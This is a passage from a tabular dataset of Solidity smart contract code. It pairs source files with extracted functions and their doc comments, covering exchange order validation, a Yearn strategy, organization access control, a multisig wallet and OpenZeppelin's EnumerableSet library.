file_name
stringlengths 71
779k
| comments
stringlengths 0
29.4k
| code_string
stringlengths 20
7.69M
| __index_level_0__
int64 2
17.2M
|
---|---|---|---|
./full_match/80001/0x4A489E6f9F440112AC47fA62967967f4d69D3c35/sources/@tsb/exchange/contracts/ExchangeCore.sol | function, validate orders orderLeft left order signatureLeft order left signature orderRight right order signatureRight order right signature | function validateOrders(
LibOrder.Order memory orderLeft,
bytes memory signatureLeft,
LibOrder.Order memory orderRight,
bytes memory signatureRight
) internal view {
validateFull(orderLeft, signatureLeft);
validateFull(orderRight, signatureRight);
if (orderLeft.taker != address(0)) {
if (orderRight.maker != address(0)) require(orderRight.maker == orderLeft.taker, "leftOrder.taker failed");
}
if (orderRight.taker != address(0)) {
if (orderLeft.maker != address(0)) require(orderRight.taker == orderLeft.maker, "rightOrder.taker failed");
}
}
| 9,491,766 |
pragma solidity 0.6.12;
// SPDX-License-Identifier: MIT
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface StandardToken {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IStakeAndYield {
function getRewardToken() external view returns(address);
function totalSupply(uint256 stakeType) external view returns(uint256);
function totalYieldWithdrawed() external view returns(uint256);
function notifyRewardAmount(uint256 reward, uint256 stakeType) external;
}
interface IController {
function withdrawETH(uint256 amount) external;
function depositTokenForStrategy(uint256 amount,
address addr, address yearnToken, address yearnVault) external;
function buyForStrategy(
uint256 amount,
address rewardToken,
address recipient
) external;
function withdrawForStrategy(
uint256 sharesToWithdraw,
address yearnVault
) external;
function strategyBalance(address stra) external view returns(uint256);
}
interface IYearnVault{
function balanceOf(address account) external view returns (uint256);
function withdraw(uint256 amount) external;
function getPricePerFullShare() external view returns(uint256);
function deposit(uint256 _amount) external returns(uint256);
}
interface IWETH is StandardToken{
function withdraw(uint256 amount) external returns(uint256);
}
interface ICurve{
function get_virtual_price() external view returns(uint256);
function add_liquidity(uint256[2] memory amounts, uint256 min_amounts) external payable returns(uint256);
function remove_liquidity_one_coin(uint256 _token_amount, int128 i, uint256 _min_amount) external returns(uint256);
}
contract YearnCrvAETHStrategy is Ownable {
using SafeMath for uint256;
uint256 public lastEpochTime;
uint256 public lastBalance;
uint256 public lastYieldWithdrawed;
uint256 public yearnFeesPercent;
uint256 public ethPushedToYearn;
IStakeAndYield public vault;
IController public controller;
//crvAETH
address yearnDepositableToken = 0xaA17A236F2bAdc98DDc0Cf999AbB47D47Fc0A6Cf;
IYearnVault public yearnVault = IYearnVault(0xE625F5923303f1CE7A43ACFEFd11fd12f30DbcA4);
//IWETH public weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
StandardToken crvAETH = StandardToken(0xaA17A236F2bAdc98DDc0Cf999AbB47D47Fc0A6Cf);
ICurve curve = ICurve(0xA96A65c051bF88B4095Ee1f2451C2A9d43F53Ae2);
address public operator;
uint256 public minRewards = 0.01 ether;
uint256 public minDepositable = 0.05 ether;
modifier onlyOwnerOrOperator(){
require(
msg.sender == owner() || msg.sender == operator,
"!owner"
);
_;
}
constructor(
address _vault,
address _controller
) public{
vault = IStakeAndYield(_vault);
controller = IController(_controller);
}
// Since Owner is calling this function, we can pass
// the ETHPerToken amount
function epoch(uint256 ETHPerToken) public onlyOwnerOrOperator{
uint256 balance = pendingBalance();
//require(balance > 0, "balance is 0");
uint256 withdrawable = harvest(balance.mul(ETHPerToken).div(1 ether));
lastEpochTime = block.timestamp;
lastBalance = lastBalance.add(balance);
uint256 currentWithdrawd = vault.totalYieldWithdrawed();
uint256 withdrawAmountToken = currentWithdrawd.sub(lastYieldWithdrawed);
if(withdrawAmountToken > 0){
lastYieldWithdrawed = currentWithdrawd;
uint256 ethWithdrawed = withdrawAmountToken.mul(
ETHPerToken
).div(1 ether);
withdrawFromYearn(ethWithdrawed.add(withdrawable));
ethPushedToYearn = ethPushedToYearn.sub(ethWithdrawed);
}else{
if(withdrawable > 0){
withdrawFromYearn(withdrawable);
}
}
}
function harvest(uint256 ethBalance) private returns(
uint256 withdrawable
){
uint256 rewards = calculateRewards();
uint256 depositable = ethBalance > rewards ? ethBalance.sub(rewards) : 0;
if(depositable >= minDepositable){
//deposit to yearn
controller.depositTokenForStrategy(depositable, address(this),
yearnDepositableToken, address(yearnVault));
ethPushedToYearn = ethPushedToYearn.add(
depositable
);
}
if(rewards > minRewards){
withdrawable = rewards > ethBalance ? rewards.sub(ethBalance) : 0;
// get DEA and send to Vault
controller.buyForStrategy(
rewards,
vault.getRewardToken(),
address(vault)
);
}else{
withdrawable = 0;
}
}
function withdrawFromYearn(uint256 ethAmount) private returns(uint256){
uint256 yShares = controller.strategyBalance(address(this));
uint256 sharesToWithdraw = ethAmount.mul(1 ether).div(
yearnVault.getPricePerFullShare()
);
uint256 curveVirtualPrice = curve.get_virtual_price();
sharesToWithdraw = sharesToWithdraw.mul(curveVirtualPrice).div(
1 ether
);
require(yShares >= sharesToWithdraw, "Not enough shares");
controller.withdrawForStrategy(
sharesToWithdraw,
address(yearnVault)
);
return ethAmount;
}
function calculateRewards() public view returns(uint256){
uint256 yShares = controller.strategyBalance(address(this));
uint256 yETHBalance = yShares.mul(
yearnVault.getPricePerFullShare()
).div(1 ether);
uint256 curveVirtualPrice = curve.get_virtual_price();
yETHBalance = yETHBalance.mul(curveVirtualPrice).div(
1 ether
);
yETHBalance = yETHBalance.mul(1000 - yearnFeesPercent).div(1000);
if(yETHBalance > ethPushedToYearn){
return yETHBalance - ethPushedToYearn;
}
return 0;
}
function pendingBalance() public view returns(uint256){
uint256 vaultBalance = vault.totalSupply(2);
if(vaultBalance < lastBalance){
return 0;
}
return vaultBalance.sub(lastBalance);
}
function getLastEpochTime() public view returns(uint256){
return lastEpochTime;
}
function setYearnFeesPercent(uint256 _val) public onlyOwner{
yearnFeesPercent = _val;
}
function setOperator(address _addr) public onlyOwner{
operator = _addr;
}
function setMinRewards(uint256 _val) public onlyOwner{
minRewards = _val;
}
function setMinDepositable(uint256 _val) public onlyOwner{
minDepositable = _val;
}
function setController(address _controller, address _vault) public onlyOwner{
if(_controller != address(0)){
controller = IController(_controller);
}
if(_vault != address(0)){
vault = IStakeAndYield(_vault);
}
}
function emergencyWithdrawETH(uint256 amount, address addr) public onlyOwner{
require(addr != address(0));
payable(addr).transfer(amount);
}
function emergencyWithdrawERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
StandardToken(_tokenAddr).transfer(_to, _amount);
}
} | deposit to yearn get DEA and send to Vault | function harvest(uint256 ethBalance) private returns(
uint256 withdrawable
){
uint256 rewards = calculateRewards();
uint256 depositable = ethBalance > rewards ? ethBalance.sub(rewards) : 0;
if(depositable >= minDepositable){
controller.depositTokenForStrategy(depositable, address(this),
yearnDepositableToken, address(yearnVault));
ethPushedToYearn = ethPushedToYearn.add(
depositable
);
}
if(rewards > minRewards){
withdrawable = rewards > ethBalance ? rewards.sub(ethBalance) : 0;
controller.buyForStrategy(
rewards,
vault.getRewardToken(),
address(vault)
);
withdrawable = 0;
}
}
| 1,283,395 |
pragma solidity ^0.5.0;
// Copyright 2018 OpenST Ltd.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
import "./SafeMath.sol";
import "./OrganizationInterface.sol";
import "./IsMemberInterface.sol";
/**
* @title Organization contract.
*
* @notice The organization represents an entity that manages the
* mosaic ecosystem and therefore the Organization.sol contract holds
* all the keys required to administer the mosaic contracts.
*/
contract Organization is OrganizationInterface, IsMemberInterface {
using SafeMath for uint256;
/* Storage */
/** Address for which private key will be owned by organization. */
address public owner;
/**
* Proposed Owner is the newly proposed address that was proposed by the
* current owner for ownership transfer.
*/
address public proposedOwner;
/** Admin address set by owner to facilitate operations of an economy. */
address public admin;
/**
* Map of whitelisted worker addresses to their expiration block height.
*/
mapping(address => uint256) public workers;
/* Modifiers */
/**
* onlyOwner functions can only be called from the address that is
* registered as the owner.
*/
modifier onlyOwner()
{
require(
msg.sender == owner,
"Only owner is allowed to call this method."
);
_;
}
/**
* onlyOwnerOrAdmin functions can only be called from an address that is
* either registered as owner or as admin.
*/
modifier onlyOwnerOrAdmin()
{
require(
msg.sender == owner || msg.sender == admin,
"Only owner and admin are allowed to call this method."
);
_;
}
/* Constructor */
/**
* @notice The address that creates the contract is set as the initial
* owner.
*/
constructor() public
{
owner = msg.sender;
}
/* External Functions */
/**
* @notice Proposes a new owner of this contract. Ownership will not be
* transferred until the new, proposed owner accepts the proposal.
* Allows resetting of proposed owner to address(0).
*
* @param _proposedOwner Proposed owner address.
*
* @return success_ True on successful execution.
*/
function initiateOwnershipTransfer(
address _proposedOwner
)
external
onlyOwner
returns (bool success_)
{
require(
_proposedOwner != owner,
"Proposed owner address can't be current owner address."
);
proposedOwner = _proposedOwner;
emit OwnershipTransferInitiated(_proposedOwner);
success_ = true;
}
/**
* @notice Complete ownership transfer to proposed owner. Must be called by
* the proposed owner.
*
* @return success_ True on successful execution.
*/
function completeOwnershipTransfer() external returns (bool success_)
{
require(
msg.sender == proposedOwner,
"Caller is not proposed owner address."
);
owner = proposedOwner;
proposedOwner = address(0);
emit OwnershipTransferCompleted(owner);
success_ = true;
}
/**
* @notice Sets the admin address. Can only be called by owner or current
* admin. If called by the current admin, adminship is transferred
* to the given address.
* Admin can be set to address(0).
*
* @param _admin Admin address to be set.
*
* @return success_ True on successful execution.
*/
function setAdmin(
address _admin
)
external
onlyOwnerOrAdmin
returns (bool success_)
{
require(
_admin != owner,
"Admin address can't be the same as the owner address."
);
/*
* If the address does not change, the call is considered a success,
* but we don't need to emit an event as it did not actually change.
*/
if (admin != _admin) {
admin = _admin;
emit AdminAddressChanged(admin);
}
success_ = true;
}
/**
* @notice Sets worker and its expiration block height.
* Admin/Owner has the flexibility to extend/reduce worker
* expiration height. This way, a worker activation/deactivation
* can be controlled without adding/removing worker keys.
*
* @param _worker Worker address to be added.
* @param _expirationHeight Expiration block height of worker.
*
* @return remainingBlocks_ Remaining number of blocks for which worker is
* active.
*/
function setWorker(
address _worker,
uint256 _expirationHeight
)
external
onlyOwnerOrAdmin
returns (uint256 remainingBlocks_)
{
require(
_worker != address(0),
"Worker address cannot be null."
);
require(
_expirationHeight > block.number,
"Expiration height must be in the future."
);
workers[_worker] = _expirationHeight;
remainingBlocks_ = _expirationHeight.sub(block.number);
emit WorkerSet(_worker, _expirationHeight, remainingBlocks_);
}
/**
* @notice Removes a worker.
*
* @param _worker Worker address to be removed.
*
* @return isUnset_ True if the worker existed else returns false.
*/
function unsetWorker(
address _worker
)
external
onlyOwnerOrAdmin
returns (bool isUnset_)
{
isUnset_ = (workers[_worker] > 0);
delete workers[_worker];
emit WorkerUnset(_worker, isUnset_);
}
/**
* @notice Checks if an address is currently registered as the owner.
*
* @param _owner Address to check.
*
* @return isOwner_ True if the given address is the owner of the
* organization. Returns false otherwise.
*/
function isOwner(address _owner) external view returns (bool isOwner_) {
isOwner_ = _owner == owner;
}
/**
* @notice Checks if an address is currently registered as an active worker.
*
* @param _worker Address to check.
*
* @return isWorker_ True if the worker is already added and expiration
* height is more than or equal to current block number.
* Returns false otherwise.
*/
function isWorker(address _worker) external view returns (bool isWorker_)
{
isWorker_ = workers[_worker] > block.number;
}
}
| Sets worker and its expiration block height. Admin/Owner has the flexibility to extend/reduce worker expiration height. This way, a worker activation/deactivation can be controlled without adding/removing worker keys. _worker Worker address to be added. _expirationHeight Expiration block height of worker. return remainingBlocks_ Remaining number of blocks for which worker is active./ | function setWorker(
address _worker,
uint256 _expirationHeight
)
external
onlyOwnerOrAdmin
returns (uint256 remainingBlocks_)
{
require(
_worker != address(0),
"Worker address cannot be null."
);
require(
_expirationHeight > block.number,
"Expiration height must be in the future."
);
workers[_worker] = _expirationHeight;
remainingBlocks_ = _expirationHeight.sub(block.number);
emit WorkerSet(_worker, _expirationHeight, remainingBlocks_);
}
| 6,350,154 |
pragma solidity ^0.6.0;
import "@c-layer/common/contracts/math/SafeMath.sol";
import "@c-layer/common/contracts/operable/Operable.sol";
import "../../interface/IPublicMultiSig.sol";
/**
* @title PublicMultiSig
* @dev PublicMultiSig contract
* Every one can suggest a new transaction
* Every one can execut it once it is approved
* If a threshold is defined, only participants with a weight > 0
* will be able to influence the approval
* With a threshold of 0, approval is not required any more.
* Only participants can approved transaction based on their weight
*
* @author Cyril Lapinte - <[email protected]>
* SPDX-License-Identifier: MIT
*
* Error messages
* PMS01: Transaction is expired
* PMS02: Transaction is cancelled
* PMS03: Transaction is executed
* PMS04: Transaction is locked
* PMS05: Transaction is not confirmed
* PMS06: Only creator can lock a transaction
* PMS07: Only creator or owner can cancel a transaction
* PMS08: Transaction is already confirmed
* PMS09: Invalid transaction id
* PMS10: Transaction is already unapproved
*/
contract PublicMultiSig is IPublicMultiSig, Operable {
using SafeMath for uint256;
uint256 internal threshold_;
uint256 internal duration_;
struct Participant {
uint256 weight;
}
mapping(address => Participant) internal participants;
uint256 internal participantCount_;
struct Transaction {
address payable destination;
uint256 value;
bytes data;
uint256 confirmed;
bool locked;
bool cancelled;
address creator;
uint256 createdAt;
bool executed;
mapping(address => bool) confirmations;
}
mapping(uint256 => Transaction) internal transactions;
uint256 internal transactionCount_;
/**
* @dev Modifier for active transaction
*/
modifier whenActive(uint256 _transactionId) {
require(!isExpired(_transactionId), "PMS01");
require(!transactions[_transactionId].cancelled, "PMS02");
require(!transactions[_transactionId].executed, "PMS03");
_;
}
/**
* @dev contructor
**/
constructor(
uint256 _threshold,
uint256 _duration,
address[] memory _participants,
uint256[] memory _weights
) public
{
threshold_ = _threshold;
duration_ = _duration;
defineOperator("MultiSig", address(this));
owner = address(this);
updateManyParticipants(_participants, _weights);
}
/**
* @dev receive function
*/
// solhint-disable-next-line no-empty-blocks
receive() external payable {}
/**
* @dev fallback function
*/
// solhint-disable-next-line no-empty-blocks
fallback() external payable {}
/**
* @dev threshold
*/
function threshold() public view returns (uint256) {
return threshold_;
}
/**
* @dev duration
*/
function duration() public view returns (uint256) {
return duration_;
}
/**
* @dev participant weight
*/
function participantWeight(address _address) public view returns (uint256) {
return participants[_address].weight;
}
/**
* @dev participant count
*/
function participantCount() public view returns (uint256) {
return participantCount_;
}
/**
* @dev transaction count
*/
function transactionCount() public view returns (uint256) {
return transactionCount_;
}
/**
* @dev isConfirmed
*/
function isConfirmed(uint256 _transactionId) public view returns (bool) {
return transactions[_transactionId].confirmed >= threshold_;
}
/**
* @dev hasParticipated
*/
function hasParticipated(uint256 _transactionId, address _participationId)
public view returns (bool)
{
return transactions[_transactionId].confirmations[_participationId];
}
/**
* @dev isLocked
*/
function isLocked(uint256 _transactionId) public view returns (bool) {
return transactions[_transactionId].locked;
}
/**
* @dev isExpired
*/
function isExpired(uint256 _transactionId) public view returns (bool) {
return
transactions[_transactionId].createdAt.add(duration_) < currentTime();
}
/**
* @dev toBeExpiredAt
*/
function toBeExpiredAt(uint256 _transactionId)
public view returns (uint256)
{
return transactions[_transactionId].createdAt.add(duration_);
}
/**
* @dev isCancelled
*/
function isCancelled(uint256 _transactionId) public view returns (bool) {
return transactions[_transactionId].cancelled;
}
/**
* @dev transactionDestination
*/
function transactionDestination(uint256 _transactionId)
public view returns (address)
{
return transactions[_transactionId].destination;
}
/**
* @dev transactionValue
*/
function transactionValue(uint256 _transactionId)
public view returns (uint256)
{
return transactions[_transactionId].value;
}
/**
* @dev transactionData
*/
function transactionData(uint256 _transactionId)
public view returns (bytes memory)
{
return transactions[_transactionId].data;
}
/**
* @dev transactionCreator
*/
function transactionCreator(uint256 _transactionId)
public view returns (address)
{
return transactions[_transactionId].creator;
}
/**
* @dev transactionCreatedAt
*/
function transactionCreatedAt(uint256 _transactionId)
public view returns (uint256)
{
return transactions[_transactionId].createdAt;
}
/**
* @dev isExecutable
*/
function isExecutable(uint256 _transactionId) public virtual view returns (bool) {
return !transactions[_transactionId].locked && (
!transactions[_transactionId].cancelled) && (
!transactions[_transactionId].executed) && (
!isExpired(_transactionId)) && (
transactions[_transactionId].confirmed >= threshold_);
}
/**
* @dev isExecuted
*/
function isExecuted(uint256 _transactionId) public view returns (bool) {
return transactions[_transactionId].executed;
}
/**
* @dev execute
* Execute a transaction with a specific id
*/
function execute(uint256 _transactionId)
public virtual whenActive(_transactionId) returns (bool)
{
require(!transactions[_transactionId].locked, "PMS04");
require(
transactions[_transactionId].confirmed >= threshold_,
"PMS05");
Transaction storage transaction = transactions[_transactionId];
transaction.executed = true;
(bool success, ) =
// solhint-disable-next-line avoid-call-value, avoid-low-level-calls
transaction.destination.call{value: transaction.value}(transaction.data);
if (success) {
emit Execution(_transactionId);
} else {
transaction.executed = false;
emit ExecutionFailure(_transactionId);
}
return true;
}
/**
* @dev suggest a new transaction
*/
function suggest(address payable _destination, uint256 _value, bytes memory _data)
public virtual returns (bool)
{
transactions[transactionCount_] = Transaction(
_destination,
_value,
_data,
0,
false,
false,
msg.sender,
currentTime(),
false
);
transactionCount_++;
emit TransactionAdded(transactionCount_-1);
return true;
}
/**
* @dev set the lock state of a transaction
*/
function lockTransaction(uint256 _transactionId, bool _locked)
public virtual whenActive(_transactionId) returns (bool)
{
require(
transactions[_transactionId].creator == msg.sender,
"PMS06");
if (transactions[_transactionId].locked == _locked) {
return true;
}
transactions[_transactionId].locked = _locked;
if (_locked) {
emit TransactionLocked(_transactionId);
} else {
emit TransactionUnlocked(_transactionId);
}
return true;
}
/**
* @dev cancel a transaction
*/
function cancelTransaction(uint256 _transactionId)
public virtual whenActive(_transactionId) returns (bool)
{
require(
transactions[_transactionId].creator == msg.sender ||
msg.sender == address(this),
"PMS07"
);
transactions[_transactionId].cancelled = true;
emit TransactionCancelled(_transactionId);
return true;
}
/**
* @dev approve a transaction
*/
function approve(uint256 _transactionId)
public virtual whenActive(_transactionId) returns (bool)
{
Transaction storage transaction = transactions[_transactionId];
require(!transaction.confirmations[msg.sender], "PMS08");
transaction.confirmed = transaction.confirmed.add(
participants[msg.sender].weight);
transaction.confirmations[msg.sender] = true;
if (transaction.confirmed >= threshold_) {
emit TransactionConfirmed(_transactionId);
}
return true;
}
/**
* @dev revoke a transaction approval
*/
function revokeApproval(uint256 _transactionId)
public virtual whenActive(_transactionId) returns (bool)
{
require(_transactionId < transactionCount_, "PMS09");
Transaction storage transaction = transactions[_transactionId];
require(transaction.confirmations[msg.sender], "PMS10");
transaction.confirmed = transaction.confirmed.sub(
participants[msg.sender].weight);
transaction.confirmations[msg.sender] = false;
if (transaction.confirmed < threshold_ &&
transaction.confirmed.add(
participants[msg.sender].weight) >= threshold_)
{
emit TransactionUnconfirmed(_transactionId);
}
return true;
}
/**
* @dev update many participants weight
*/
function updateManyParticipants(address[] memory _participants, uint256[] memory _weights)
public onlyOperator returns (bool)
{
for (uint256 i = 0; i < _participants.length; i++) {
address participant = _participants[i];
uint256 weight = _weights[i];
uint256 previousWeight = participants[participant].weight;
participants[participant].weight = weight;
if (previousWeight == weight) {
continue;
}
if (previousWeight == 0) {
emit ParticipantAdded(participant, weight);
participantCount_++;
} else if (weight == 0) {
emit ParticipantRemoved(participant);
participantCount_--;
} else {
emit ParticipantUpdated(participant, weight);
}
}
return true;
}
/**
* @dev update configuration
*/
function updateConfiguration(uint256 _newThreshold, uint256 _newDuration)
public onlyOperator returns (bool)
{
threshold_ = _newThreshold;
duration_ = _newDuration;
emit ConfigurationUpdated(threshold_, duration_);
return true;
}
function currentTime() internal view returns (uint256) {
// solhint-disable-next-line not-rely-on-time
return now;
}
event TransactionAdded(uint256 transactionId);
event TransactionCancelled(uint256 transactionId);
event TransactionLocked(uint256 transactionId);
event TransactionUnlocked(uint256 transactionId);
event TransactionConfirmed(uint256 transactionId);
event TransactionUnconfirmed(uint256 transactionId);
event Execution(uint256 indexed transactionId);
event ExecutionFailure(uint256 indexed transactionId);
event ParticipantAdded(address indexed participant, uint256 weight);
event ParticipantUpdated(address indexed participant, uint256 weight);
event ParticipantRemoved(address indexed participant);
event ConfigurationUpdated(uint256 threshold, uint256 duration);
}
| cancel a transaction/ | function cancelTransaction(uint256 _transactionId)
public virtual whenActive(_transactionId) returns (bool)
{
require(
transactions[_transactionId].creator == msg.sender ||
msg.sender == address(this),
"PMS07"
);
transactions[_transactionId].cancelled = true;
emit TransactionCancelled(_transactionId);
return true;
}
| 13,126,503 |
/**
*Submitted for verification at Etherscan.io on 2022-05-03
*/
//SPDX-License-Identifier: MIT
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/structs/EnumerableSet.sol
// OpenZeppelin Contracts (last updated v4.6.0) (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastValue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastValue;
// Update the index for the moved value
set._indexes[lastValue] = valueIndex; // Replace lastValue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value)
private
view
returns (bool)
{
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index)
private
view
returns (bytes32)
{
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value)
internal
returns (bool)
{
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value)
internal
returns (bool)
{
return _remove(set._inner, value);
}
/**
